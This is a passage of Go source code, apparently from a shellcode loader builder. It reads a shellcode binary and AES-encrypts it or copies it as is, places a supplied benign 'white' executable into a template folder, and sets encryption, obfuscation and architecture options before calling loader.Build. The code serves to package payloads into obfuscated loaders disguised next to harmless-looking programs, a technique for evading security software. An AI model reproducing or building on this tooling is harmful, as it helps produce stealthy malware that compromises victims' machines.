logger.Fatalf("read shellcode bin error: %s", err.Error()) 67 | } 68 | aesShellcodeData, err := utils.AesEncrypt(shellcodeData, []byte(key)) 69 | if err != nil { 70 | logger.Fatalf("encrypt shellcode bin error: %s", err.Error()) 71 | } 72 | ioutil.WriteFile(dstShellcodePath, aesShellcodeData, 0666) 73 | 74 | } else { 75 | err := utils.CopyFile(shellcodeOutputpath, dstShellcodePath) 76 | if err != nil { 77 | logger.Fatalf("copy shellcode bin error: %s", err.Error()) 78 | } 79 | } 80 | // 白文件处理 81 | if args.White != "" { 82 | dstWhitePath := path.Join(utils.GetCurrentDirectory(), "conf", "template", "static", "white.exe") 83 | err := utils.CopyFile(args.White, dstWhitePath) 84 | if err != nil { 85 | logger.Fatalf("copy white file error: %s", err.Error()) 86 | } 87 | } 88 | tv.Encrypt = args.Encrypt 89 | tv.Obfuscate = args.Obfuscate 90 | tv.White = args.White 91 | tv.Arch = args.Arch 92 | loader.Build(*tv) 93 | } 94 | --------------------------------------------------------------------------------